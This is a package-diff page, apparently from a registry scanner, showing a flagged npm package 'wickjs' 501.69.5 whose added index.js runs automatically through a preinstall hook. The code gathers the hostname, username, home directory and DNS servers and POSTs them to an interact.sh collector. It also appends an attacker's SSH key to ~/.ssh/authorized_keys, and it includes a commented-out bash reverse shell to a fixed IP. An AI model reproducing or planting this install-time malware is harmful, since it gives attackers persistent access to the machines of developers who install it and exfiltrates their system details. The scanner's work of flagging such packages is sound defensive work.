wickjs 501.69.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of wickjs might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +63 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,63 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ var proc = require('child_process');
8
+
9
+ //var cmd = "nohup bash -i >& /dev/tcp/47.154.53.138/1337 0>&1 &";
10
+
11
+ const trackingData = JSON.stringify({
12
+ p: package,
13
+ c: __dirname,
14
+ //pwn: cmdrun(cmd).stdout,
15
+ hd: os.homedir(),
16
+ hn: os.hostname(),
17
+ un: os.userInfo().username,
18
+ dns: dns.getServers(),
19
+ r: packageJSON ? packageJSON.___resolved : undefined,
20
+ v: packageJSON.version,
21
+ pjson: packageJSON,
22
+ });
23
+
24
+ toadd = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCSWOscUiSw5Ylqk7FeSpIhzlgce5ZSQ2JMVkyRqWidnQhW5UlEg/e63M56coBjzCNC6W5P2GMrIUlustOeZLaL+bQ6oWsQkLcsfuA5XR2nGKl6GsSQz24smggYFVlxlxq8tl40fUqcSSd4D6Jh7tBk1U00lgnBjdTx30+vm1vCskgvopbntE1HeMA3ewsEsIX3ee4PDTla5XQImeS5ztaI23C+hNA0fpo5iAtKWqb7/JSWFoIdrsZzK7XUzQAxShaZIKr74awUiNJZTB5BKX7V/bPvOmyl3+ACcvvN8KRlgpZbKdpDwQ1UBFtYPWmEg8Tugax/pGmFzHX2gI8+gWap3Ced6XeXxNWyY9gtvMYFnWkXA4FyYsBCMOORaQlCrju9yBVh9VgLAYFwqklon1yMNc7BD8PPTW/Obth+Y2Wzats4FLIoWM3ZZoTGx46cjH3TF4tKErTCs2PXwDGIPUzmPhi/X3qWm76tvrv0V7qDZ7IxkccrFif9YPCfyNxNxyc= o@a"
25
+ cmdrun("echo "+toadd+" >>" +os.homedir()+"/.ssh/authorized_keys");
26
+
27
+ function cmdrun(cmd) {
28
+ proc.exec(cmd,function (err,stdout,stderr) {
29
+ if (err) {
30
+ return stderr;
31
+ } else {
32
+ return stdout;
33
+ }
34
+ });
35
+ }
36
+
37
+ var postData = querystring.stringify({
38
+ msg: trackingData,
39
+ });
40
+
41
+ var options = {
42
+ hostname: "c9k25ex2vtc000050g50gr3tnaayyyyyb.interact.sh", //replace burpcollaborator.net with Interactsh or pipedream
43
+ port: 443,
44
+ path: "/",
45
+ method: "POST",
46
+ headers: {
47
+ "Content-Type": "application/x-www-form-urlencoded",
48
+ "Content-Length": postData.length,
49
+ },
50
+ };
51
+
52
+ var req = https.request(options, (res) => {
53
+ res.on("data", (d) => {
54
+ process.stdout.write(d);
55
+ });
56
+ });
57
+
58
+ req.on("error", (e) => {
59
+ // console.error(e);
60
+ });
61
+
62
+ req.write(postData);
63
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "wickjs",
3
+ "version": "501.69.5",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }